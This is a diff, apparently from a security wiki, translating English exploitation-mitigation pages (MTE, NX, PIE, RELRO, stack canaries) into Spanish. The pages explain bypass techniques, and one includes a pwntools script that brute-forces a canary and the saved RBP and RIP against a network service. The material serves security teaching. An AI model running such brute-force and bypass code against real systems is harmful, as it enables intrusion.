The tag **0xF** is the **match all pointer**. A memory with this pointer allows **any tag to be used** to access its memory (no mismatches). This could prevent MET from detecting an attack if this tags is being used in the attacked memory. La etiqueta **0xF** es el **puntero que coincide con todos**. Una memoria con este puntero permite **cualquier etiqueta para ser usada** para acceder a su memoria (sin discrepancias). Esto podría prevenir que MET detecte un ataque si esta etiqueta se está utilizando en la memoria atacada.
Therefore there are only **14 value**s that can be used to generate tags as 0xE and 0xF are reserved, giving a probability of **reusing tags** to 1/17 -> around **7%**. Por lo tanto, solo hay **14 valores** que se pueden usar para generar etiquetas, ya que 0xE y 0xF están reservados, dando una probabilidad de **reutilizar etiquetas** de 1/17 -> alrededor del **7%**.
If the kernel access to the **invalid tag granule**, the **mismatch** will be **detected**. If it access another memory location, if the **memory has a different tag** (or the invalid tag) the mismatch will be **detected.** If the attacker is lucky and the memory is using the same tag, it won't be detected. Chances are around 7% Si el núcleo accede al **granulo de etiqueta inválida**, la **discrepancia** será **detectada**. Si accede a otra ubicación de memoria, si la **memoria tiene una etiqueta diferente** (o la etiqueta inválida) la discrepancia será **detectada**. Si el atacante tiene suerte y la memoria está usando la misma etiqueta, no será detectada. Las probabilidades son alrededor del 7%.
Another bug occurs in the **last granule** of the allocated memory. If the application requested 35B, it was given the granule from 32 to 48. Therefore, the **bytes from 36 til 47 are using the same tag** but they weren't requested. If the attacker access **these extra bytes, this isn't detected**. Otro error ocurre en el **último granulo** de la memoria asignada. Si la aplicación solicitó 35B, se le dio el granulo de 32 a 48. Por lo tanto, los **bytes del 36 al 47 están usando la misma etiqueta** pero no fueron solicitados. Si el atacante accede a **estos bytes extra, esto no se detecta**.
When **`kfree()`** is executed, the memory is retagged with the invalid memory tag, so in a **use-after-free**, when the memory is accessed again, the **mismatch is detected**. Cuando se ejecuta **`kfree()`**, la memoria se vuelve a etiquetar con la etiqueta de memoria inválida, por lo que en un **uso después de liberar**, cuando la memoria se accede nuevamente, la **discrepancia se detecta**.
However, in a use-after-free, if the same **chunk is reallocated again with the SAME tag** as previously, an attacker will be able to use this access and this won't be detected (around 7% chance). Sin embargo, en un uso después de liberar, si el mismo **bloque se vuelve a asignar nuevamente con la MISMA etiqueta** que anteriormente, un atacante podrá usar este acceso y esto no será detectado (alrededor del 7% de probabilidad).
Moreover, only **`slab` and `page_alloc`** uses tagged memory but in the future this will also be used in `vmalloc`, `stack` and `globals` (at the moment of the video these can still be abused). Además, solo **`slab` y `page_alloc`** utilizan memoria etiquetada, pero en el futuro esto también se utilizará en `vmalloc`, `stack` y `globals` (en el momento del video, estos aún pueden ser abusados).
When a **mismatch is detected** the kernel will **panic** to prevent further exploitation and retries of the exploit (MTE doesn't have false positives). Cuando se **detecta una discrepancia**, el núcleo **se bloqueará** para prevenir una mayor explotación y reintentos del exploit (MTE no tiene falsos positivos).
## References ## Referencias
- [https://www.youtube.com/watch?v=UwMt0e_dC_Q](https://www.youtube.com/watch?v=UwMt0e_dC_Q) - [https://www.youtube.com/watch?v=UwMt0e_dC_Q](https://www.youtube.com/watch?v=UwMt0e_dC_Q)

View File

@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
The **No-Execute (NX)** bit, also known as **Execute Disable (XD)** in Intel terminology, is a hardware-based security feature designed to **mitigate** the effects of **buffer overflow** attacks. When implemented and enabled, it distinguishes between memory regions that are intended for **executable code** and those meant for **data**, such as the **stack** and **heap**. The core idea is to prevent an attacker from executing malicious code through buffer overflow vulnerabilities by putting the malicious code in the stack for example and directing the execution flow to it. El **bit No-Execute (NX)**, también conocido como **Execute Disable (XD)** en la terminología de Intel, es una característica de seguridad basada en hardware diseñada para **mitigar** los efectos de los ataques de **desbordamiento de búfer**. Cuando se implementa y habilita, distingue entre regiones de memoria que están destinadas a **código ejecutable** y aquellas destinadas a **datos**, como la **pila** y el **montículo**. La idea principal es prevenir que un atacante ejecute código malicioso a través de vulnerabilidades de desbordamiento de búfer al colocar el código malicioso en la pila, por ejemplo, y dirigir el flujo de ejecución hacia él.
## Bypasses ## Bypasses
- It's possible to use techniques such as [**ROP**](../rop-return-oriented-programing/) **to bypass** this protection by executing chunks of executable code already present in the binary. - Es posible utilizar técnicas como [**ROP**](../rop-return-oriented-programing/) **para eludir** esta protección ejecutando fragmentos de código ejecutable ya presentes en el binario.
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/) - [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) - [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
- **Ret2...** - **Ret2...**
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,30 +2,30 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
A binary compiled as PIE, or **Position Independent Executable**, means the **program can load at different memory locations** each time it's executed, preventing hardcoded addresses. Un binario compilado como PIE, o **Ejecutable Independiente de Posición**, significa que el **programa puede cargarse en diferentes ubicaciones de memoria** cada vez que se ejecuta, evitando direcciones codificadas.
The trick to exploit these binaries lies in exploiting the **relative addresses**—the offsets between parts of the program remain the same even if the absolute locations change. To **bypass PIE, you only need to leak one address**, typically from the **stack** using vulnerabilities like format string attacks. Once you have an address, you can calculate others by their **fixed offsets**. El truco para explotar estos binarios radica en explotar las **direcciones relativas**: los desplazamientos entre partes del programa permanecen iguales incluso si las ubicaciones absolutas cambian. Para **eludir PIE, solo necesitas filtrar una dirección**, típicamente desde la **pila** utilizando vulnerabilidades como ataques de formato de cadena. Una vez que tienes una dirección, puedes calcular otras por sus **desplazamientos fijos**.
A helpful hint in exploiting PIE binaries is that their **base address typically ends in 000** due to memory pages being the units of randomization, sized at 0x1000 bytes. This alignment can be a critical **check if an exploit isn't working** as expected, indicating whether the correct base address has been identified.\ Una pista útil al explotar binarios PIE es que su **dirección base típicamente termina en 000** debido a que las páginas de memoria son las unidades de aleatorización, con un tamaño de 0x1000 bytes. Esta alineación puede ser una **verificación crítica si un exploit no está funcionando** como se esperaba, indicando si se ha identificado la dirección base correcta.\
Or you can use this for your exploit, if you leak that an address is located at **`0x649e1024`** you know that the **base address is `0x649e1000`** and from the you can just **calculate offsets** of functions and locations. O puedes usar esto para tu exploit, si filtras que una dirección está ubicada en **`0x649e1024`** sabes que la **dirección base es `0x649e1000`** y desde ahí solo puedes **calcular desplazamientos** de funciones y ubicaciones.
## Bypasses ## Eludidos
In order to bypass PIE it's needed to **leak some address of the loaded** binary, there are some options for this: Para eludir PIE es necesario **filtrar alguna dirección del binario cargado**, hay algunas opciones para esto:
- **Disabled ASLR**: If ASLR is disabled a binary compiled with PIE is always **going to be loaded in the same address**, therefore **PIE is going to be useless** as the addresses of the objects are always going to be in the same place. - **ASLR deshabilitado**: Si ASLR está deshabilitado, un binario compilado con PIE siempre **se cargará en la misma dirección**, por lo tanto, **PIE será inútil** ya que las direcciones de los objetos siempre estarán en el mismo lugar.
- Be **given** the leak (common in easy CTF challenges, [**check this example**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) - Ser **dado** el leak (común en desafíos CTF fáciles, [**ver este ejemplo**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
- **Brute-force EBP and EIP values** in the stack until you leak the correct ones: - **Fuerza bruta de los valores EBP y EIP** en la pila hasta que filtren los correctos:
{{#ref}} {{#ref}}
bypassing-canary-and-pie.md bypassing-canary-and-pie.md
{{#endref}} {{#endref}}
- Use an **arbitrary read** vulnerability such as [**format string**](../../format-strings/) to leak an address of the binary (e.g. from the stack, like in the previous technique) to get the base of the binary and use offsets from there. [**Find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). - Usar una vulnerabilidad de **lectura arbitraria** como [**formato de cadena**](../../format-strings/) para filtrar una dirección del binario (por ejemplo, desde la pila, como en la técnica anterior) para obtener la base del binario y usar desplazamientos desde allí. [**Encuentra un ejemplo aquí**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
## References ## Referencias
- [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie) - [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)

View File

@ -2,55 +2,54 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** **Si te enfrentas a un binario protegido por un canary y PIE (Position Independent Executable), probablemente necesites encontrar una forma de eludirlos.**
![](<../../../images/image (865).png>) ![](<../../../images/image (865).png>)
> [!NOTE] > [!NOTE]
> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\ > Ten en cuenta que **`checksec`** podría no encontrar que un binario está protegido por un canary si este fue compilado estáticamente y no es capaz de identificar la función.\
> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting. > Sin embargo, puedes notar esto manualmente si encuentras que un valor se guarda en la pila al comienzo de una llamada a función y este valor se verifica antes de salir.
## Brute-Force Addresses ## Brute-Force Addresses
In order to **bypass the PIE** you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\ Para **eludir el PIE** necesitas **filtrar alguna dirección**. Y si el binario no está filtrando ninguna dirección, lo mejor que puedes hacer es **fuerza bruta el RBP y RIP guardados en la pila** en la función vulnerable.\
For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.** Por ejemplo, si un binario está protegido usando tanto un **canary** como **PIE**, puedes comenzar a forzar bruta el canary, luego los **siguientes** 8 Bytes (x64) serán el **RBP** guardado y los **siguientes** 8 Bytes serán el **RIP** guardado.
> [!TIP] > [!TIP]
> It's supposed that the return address inside the stack belongs to the main binary code, which, if the vulnerability is located in the binary code, will usually be the case. > Se supone que la dirección de retorno dentro de la pila pertenece al código binario principal, que, si la vulnerabilidad se encuentra en el código binario, generalmente será el caso.
To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP:
Para forzar bruta el RBP y el RIP del binario, puedes deducir que un byte adivinado válido es correcto si el programa produce algo o simplemente no se bloquea. La **misma función** que se proporciona para forzar bruta el canary se puede usar para forzar bruta el RBP y el RIP:
```python ```python
from pwn import * from pwn import *
def connect(): def connect():
r = remote("localhost", 8788) r = remote("localhost", 8788)
def get_bf(base): def get_bf(base):
canary = "" canary = ""
guess = 0x0 guess = 0x0
base += canary base += canary
while len(canary) < 8: while len(canary) < 8:
while guess != 0xff: while guess != 0xff:
r = connect() r = connect()
r.recvuntil("Username: ") r.recvuntil("Username: ")
r.send(base + chr(guess)) r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean(): if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x') print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess) canary += chr(guess)
base += chr(guess) base += chr(guess)
guess = 0x0 guess = 0x0
r.close() r.close()
break break
else: else:
guess += 1 guess += 1
r.close() r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base return base
# CANARY BF HERE # CANARY BF HERE
canary_offset = 1176 canary_offset = 1176
@ -67,30 +66,25 @@ print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp) base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
``` ```
Lo último que necesitas para derrotar el PIE es calcular **direcciones útiles a partir de las direcciones filtradas**: el **RBP** y el **RIP**.
The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**. Desde el **RBP** puedes calcular **dónde estás escribiendo tu shell en la pila**. Esto puede ser muy útil para saber dónde vas a escribir la cadena _"/bin/sh\x00"_ dentro de la pila. Para calcular la distancia entre el RBP filtrado y tu shellcode, simplemente puedes poner un **punto de interrupción después de filtrar el RBP** y verificar **dónde se encuentra tu shellcode**, luego, puedes calcular la distancia entre el shellcode y el RBP:
From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP:
```python ```python
INI_SHELLCODE = RBP - 1152 INI_SHELLCODE = RBP - 1152
``` ```
Desde el **RIP** puedes calcular la **dirección base del binario PIE**, que es lo que necesitarás para crear una **cadena ROP válida**.\
From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\ Para calcular la dirección base, simplemente haz `objdump -d vunbinary` y verifica las últimas direcciones desensambladas:
To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses:
![](<../../../images/image (479).png>) ![](<../../../images/image (479).png>)
In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked `0x562002970ecf` the base address is `0x562002970000` En ese ejemplo, puedes ver que solo se **necesitan 1 Byte y medio** para localizar todo el código, entonces, la dirección base en esta situación será el **RIP filtrado pero terminando en "000"**. Por ejemplo, si filtraste `0x562002970ecf`, la dirección base es `0x562002970000`
```python ```python
elf.address = RIP - (RIP & 0xfff) elf.address = RIP - (RIP & 0xfff)
``` ```
## Mejoras
## Improvements Según [**algunas observaciones de esta publicación**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), es posible que al filtrar los valores de RBP y RIP, el servidor no se bloquee con algunos valores que no son los correctos y el script de BF pensará que obtuvo los correctos. Esto se debe a que **algunas direcciones simplemente no lo romperán incluso si no son exactamente las correctas**.
According to [**some observation from this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), it's possible that when leaking RBP and RIP values, the server won't crash with some values which aren't the correct ones and the BF script will think he got the good ones. This is because it's possible that **some addresses just won't break it even if there aren't exactly the correct ones**. Según esa publicación del blog, se recomienda introducir un breve retraso entre las solicitudes al servidor.
According to that blog post it's recommended to add a short delay between requests to the server is introduced.
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,32 +4,30 @@
## Relro ## Relro
**RELRO** stands for **Relocation Read-Only**, and it's a security feature used in binaries to mitigate the risks associated with **GOT (Global Offset Table)** overwrites. There are two types of **RELRO** protections: (1) **Partial RELRO** and (2) **Full RELRO**. Both of them reorder the **GOT** and **BSS** from ELF files, but with different results and implications. Speciifically, they place the **GOT** section _before_ the **BSS**. That is, **GOT** is at lower addresses than **BSS**, hence making it impossible to overwrite **GOT** entries by overflowing variables in the **BSS** (rembember writing into memory happens from lower toward higher addresses). **RELRO** significa **Relocation Read-Only**, y es una característica de seguridad utilizada en binarios para mitigar los riesgos asociados con las sobrescrituras de **GOT (Global Offset Table)**. Hay dos tipos de protecciones **RELRO**: (1) **Partial RELRO** y (2) **Full RELRO**. Ambos reordenan la **GOT** y **BSS** de los archivos ELF, pero con diferentes resultados e implicaciones. Específicamente, colocan la sección **GOT** _antes_ de la **BSS**. Es decir, **GOT** está en direcciones más bajas que **BSS**, lo que hace imposible sobrescribir las entradas de **GOT** al desbordar variables en la **BSS** (recuerda que escribir en memoria ocurre de direcciones más bajas a más altas).
Let's break down the concept into its two distinct types for clarity. Desglosemos el concepto en sus dos tipos distintos para mayor claridad.
### **Partial RELRO** ### **Partial RELRO**
**Partial RELRO** takes a simpler approach to enhance security without significantly impacting the binary's performance. Partial RELRO makes **the .got read only (the non-PLT part of the GOT section)**. Bear in mind that the rest of the section (like the .got.plt) is still writeable and, therefore, subject to attacks. This **doesn't prevent the GOT** to be abused **from arbitrary write** vulnerabilities. **Partial RELRO** adopta un enfoque más simple para mejorar la seguridad sin afectar significativamente el rendimiento del binario. Partial RELRO hace **que la .got sea de solo lectura (la parte no PLT de la sección GOT)**. Ten en cuenta que el resto de la sección (como la .got.plt) aún es escribible y, por lo tanto, está sujeta a ataques. Esto **no impide que la GOT** sea abusada **por vulnerabilidades de escritura arbitraria**.
Note: By default, GCC compiles binaries with Partial RELRO. Nota: Por defecto, GCC compila binarios con Partial RELRO.
### **Full RELRO** ### **Full RELRO**
**Full RELRO** steps up the protection by **making the entire GOT (both .got and .got.plt) and .fini_array** section completely **read-only.** Once the binary starts all the function addresses are resolved and loaded in the GOT, then, GOT is marked as read-only, effectively preventing any modifications to it during runtime. **Full RELRO** aumenta la protección al **hacer que toda la GOT (tanto .got como .got.plt) y la sección .fini_array** sean completamente **de solo lectura.** Una vez que el binario se inicia, todas las direcciones de función se resuelven y se cargan en la GOT, luego, la GOT se marca como de solo lectura, lo que efectivamente previene cualquier modificación durante el tiempo de ejecución.
However, the trade-off with Full RELRO is in terms of performance and startup time. Because it needs to resolve all dynamic symbols at startup before marking the GOT as read-only, **binaries with Full RELRO enabled may experience longer load times**. This additional startup overhead is why Full RELRO is not enabled by default in all binaries. Sin embargo, la desventaja de Full RELRO está en términos de rendimiento y tiempo de inicio. Debido a que necesita resolver todos los símbolos dinámicos al inicio antes de marcar la GOT como de solo lectura, **los binarios con Full RELRO habilitado pueden experimentar tiempos de carga más largos**. Este costo adicional de inicio es la razón por la cual Full RELRO no está habilitado por defecto en todos los binarios.
It's possible to see if Full RELRO is **enabled** in a binary with:
Es posible ver si Full RELRO está **habilitado** en un binario con:
```bash ```bash
readelf -l /proc/ID_PROC/exe | grep BIND_NOW readelf -l /proc/ID_PROC/exe | grep BIND_NOW
``` ```
## Bypass ## Bypass
If Full RELRO is enabled, the only way to bypass it is to find another way that doesn't need to write in the GOT table to get arbitrary execution. Si Full RELRO está habilitado, la única forma de eludirlo es encontrar otra manera que no necesite escribir en la tabla GOT para obtener ejecución arbitraria.
Note that **LIBC's GOT is usually Partial RELRO**, so it can be modified with an arbitrary write. More information in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.** Tenga en cuenta que **la GOT de LIBC suele ser Partial RELRO**, por lo que se puede modificar con una escritura arbitraria. Más información en [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,72 +2,72 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## **StackGuard and StackShield** ## **StackGuard y StackShield**
**StackGuard** inserts a special value known as a **canary** before the **EIP (Extended Instruction Pointer)**, specifically `0x000aff0d` (representing null, newline, EOF, carriage return) to protect against buffer overflows. However, functions like `recv()`, `memcpy()`, `read()`, and `bcopy()` remain vulnerable, and it does not protect the **EBP (Base Pointer)**. **StackGuard** inserta un valor especial conocido como **canary** antes del **EIP (Extended Instruction Pointer)**, específicamente `0x000aff0d` (que representa null, nueva línea, EOF, retorno de carro) para proteger contra desbordamientos de búfer. Sin embargo, funciones como `recv()`, `memcpy()`, `read()`, y `bcopy()` siguen siendo vulnerables, y no protege el **EBP (Base Pointer)**.
**StackShield** takes a more sophisticated approach than StackGuard by maintaining a **Global Return Stack**, which stores all return addresses (**EIPs**). This setup ensures that any overflow does not cause harm, as it allows for a comparison between stored and actual return addresses to detect overflow occurrences. Additionally, StackShield can check the return address against a boundary value to detect if the **EIP** points outside the expected data space. However, this protection can be circumvented through techniques like Return-to-libc, ROP (Return-Oriented Programming), or ret2ret, indicating that StackShield also does not protect local variables. **StackShield** adopta un enfoque más sofisticado que StackGuard al mantener una **Global Return Stack**, que almacena todas las direcciones de retorno (**EIPs**). Esta configuración asegura que cualquier desbordamiento no cause daño, ya que permite una comparación entre las direcciones de retorno almacenadas y las reales para detectar ocurrencias de desbordamiento. Además, StackShield puede verificar la dirección de retorno contra un valor límite para detectar si el **EIP** apunta fuera del espacio de datos esperado. Sin embargo, esta protección puede ser eludida a través de técnicas como Return-to-libc, ROP (Return-Oriented Programming), o ret2ret, lo que indica que StackShield tampoco protege las variables locales.
## **Stack Smash Protector (ProPolice) `-fstack-protector`:** ## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
This mechanism places a **canary** before the **EBP**, and reorganizes local variables to position buffers at higher memory addresses, preventing them from overwriting other variables. It also securely copies arguments passed on the stack above local variables and uses these copies as arguments. However, it does not protect arrays with fewer than 8 elements or buffers within a user's structure. Este mecanismo coloca un **canary** antes del **EBP**, y reorganiza las variables locales para posicionar los búferes en direcciones de memoria más altas, evitando que sobrescriban otras variables. También copia de manera segura los argumentos pasados en la pila por encima de las variables locales y utiliza estas copias como argumentos. Sin embargo, no protege los arreglos con menos de 8 elementos o los búferes dentro de la estructura de un usuario.
The **canary** is a random number derived from `/dev/urandom` or a default value of `0xff0a0000`. It is stored in **TLS (Thread Local Storage)**, allowing shared memory spaces across threads to have thread-specific global or static variables. These variables are initially copied from the parent process, and child processes can alter their data without affecting the parent or siblings. Nevertheless, if a **`fork()` is used without creating a new canary, all processes (parent and children) share the same canary**, making it vulnerable. On the **i386** architecture, the canary is stored at `gs:0x14`, and on **x86_64**, at `fs:0x28`. El **canary** es un número aleatorio derivado de `/dev/urandom` o un valor predeterminado de `0xff0a0000`. Se almacena en **TLS (Thread Local Storage)**, permitiendo que los espacios de memoria compartidos entre hilos tengan variables globales o estáticas específicas del hilo. Estas variables se copian inicialmente del proceso padre, y los procesos hijos pueden alterar sus datos sin afectar al padre o a los hermanos. Sin embargo, si se utiliza un **`fork()` sin crear un nuevo canary, todos los procesos (padre e hijos) comparten el mismo canary**, lo que lo hace vulnerable. En la arquitectura **i386**, el canary se almacena en `gs:0x14`, y en **x86_64**, en `fs:0x28`.
This local protection identifies functions with buffers vulnerable to attacks and injects code at the start of these functions to place the canary, and at the end to verify its integrity. Esta protección local identifica funciones con búferes vulnerables a ataques e inyecta código al inicio de estas funciones para colocar el canary, y al final para verificar su integridad.
When a web server uses `fork()`, it enables a brute-force attack to guess the canary byte by byte. However, using `execve()` after `fork()` overwrites the memory space, negating the attack. `vfork()` allows the child process to execute without duplication until it attempts to write, at which point a duplicate is created, offering a different approach to process creation and memory handling. Cuando un servidor web utiliza `fork()`, permite un ataque de fuerza bruta para adivinar el byte del canary byte por byte. Sin embargo, usar `execve()` después de `fork()` sobrescribe el espacio de memoria, negando el ataque. `vfork()` permite que el proceso hijo se ejecute sin duplicación hasta que intente escribir, momento en el cual se crea una duplicación, ofreciendo un enfoque diferente para la creación de procesos y el manejo de memoria.
### Lengths ### Longitudes
In `x64` binaries, the canary cookie is an **`0x8`** byte qword. The **first seven bytes are random** and the last byte is a **null byte.** En binarios `x64`, el canary cookie es un **`0x8`** byte qword. Los **primeros siete bytes son aleatorios** y el último byte es un **byte nulo.**
In `x86` binaries, the canary cookie is a **`0x4`** byte dword. The f**irst three bytes are random** and the last byte is a **null byte.** En binarios `x86`, el canary cookie es un **`0x4`** byte dword. Los **primeros tres bytes son aleatorios** y el último byte es un **byte nulo.**
> [!CAUTION] > [!CAUTION]
> The least significant byte of both canaries is a null byte because it'll be the first in the stack coming from lower addresses and therefore **functions that read strings will stop before reading it**. > El byte menos significativo de ambos canaries es un byte nulo porque será el primero en la pila proveniente de direcciones más bajas y, por lo tanto, **las funciones que leen cadenas se detendrán antes de leerlo**.
## Bypasses ## Bypasses
**Leaking the canary** and then overwriting it (e.g. buffer overflow) with its own value. **Filtrar el canary** y luego sobrescribirlo (por ejemplo, desbordamiento de búfer) con su propio valor.
- If the **canary is forked in child processes** it might be possible to **brute-force** it one byte at a time: - Si el **canary se bifurca en procesos hijos**, podría ser posible **forzarlo** byte por byte:
{{#ref}} {{#ref}}
bf-forked-stack-canaries.md bf-forked-stack-canaries.md
{{#endref}} {{#endref}}
- If there is some interesting **leak or arbitrary read vulnerability** in the binary it might be possible to leak it: - Si hay alguna **filtración interesante o vulnerabilidad de lectura arbitraria** en el binario, podría ser posible filtrarlo:
{{#ref}} {{#ref}}
print-stack-canary.md print-stack-canary.md
{{#endref}} {{#endref}}
- **Overwriting stack stored pointers** - **Sobrescribiendo punteros almacenados en la pila**
The stack vulnerable to a stack overflow might **contain addresses to strings or functions that can be overwritten** in order to exploit the vulnerability without needing to reach the stack canary. Check: La pila vulnerable a un desbordamiento de pila podría **contener direcciones a cadenas o funciones que pueden ser sobrescritas** para explotar la vulnerabilidad sin necesidad de alcanzar el canary de la pila. Verifica:
{{#ref}} {{#ref}}
../../stack-overflow/pointer-redirecting.md ../../stack-overflow/pointer-redirecting.md
{{#endref}} {{#endref}}
- **Modifying both master and thread canary** - **Modificando tanto el canary maestro como el de hilo**
A buffer **overflow in a threaded function** protected with canary can be used to **modify the master canary of the thread**. As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified). Un desbordamiento de búfer en una **función con hilos** protegida con canary puede ser utilizado para **modificar el canary maestro del hilo**. Como resultado, la mitigación es inútil porque la verificación se utiliza con dos canaries que son los mismos (aunque modificados).
Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\ Además, un desbordamiento de búfer en una **función con hilos** protegida con canary podría ser utilizado para **modificar el canary maestro almacenado en el TLS**. Esto se debe a que podría ser posible alcanzar la posición de memoria donde se almacena el TLS (y, por lo tanto, el canary) a través de un **bof en la pila** de un hilo.\
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\ Como resultado, la mitigación es inútil porque la verificación se utiliza con dos canaries que son los mismos (aunque modificados).\
This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) Este ataque se realiza en el informe: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup. Ver también la presentación de [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) que menciona que generalmente el **TLS** se almacena mediante **`mmap`** y cuando se crea una **pila** de **hilo** también se genera mediante `mmap`, lo que podría permitir el desbordamiento como se mostró en el informe anterior.
- **Modify the GOT entry of `__stack_chk_fail`** - **Modificar la entrada GOT de `__stack_chk_fail`**
If the binary has Partial RELRO, then you can use an arbitrary write to modify the **GOT entry of `__stack_chk_fail`** to be a dummy function that does not block the program if the canary gets modified. Si el binario tiene Partial RELRO, entonces puedes usar una escritura arbitraria para modificar la **entrada GOT de `__stack_chk_fail`** para que sea una función ficticia que no bloquee el programa si el canary se modifica.
This attack is performed in the writeup: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) Este ataque se realiza en el informe: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
## References ## Referencias
- [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html) - [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html)
- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) - [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)

View File

@ -2,55 +2,54 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** **Si te enfrentas a un binario protegido por un canario y PIE (Ejecutable Independiente de Posición), probablemente necesites encontrar una manera de eludirlos.**
![](<../../../images/image (865).png>) ![](<../../../images/image (865).png>)
> [!NOTE] > [!NOTE]
> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\ > Ten en cuenta que **`checksec`** podría no encontrar que un binario está protegido por un canario si este fue compilado estáticamente y no es capaz de identificar la función.\
> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting. > Sin embargo, puedes notar esto manualmente si encuentras que un valor se guarda en la pila al comienzo de una llamada a función y este valor se verifica antes de salir.
## Brute force Canary ## Fuerza bruta del Canario
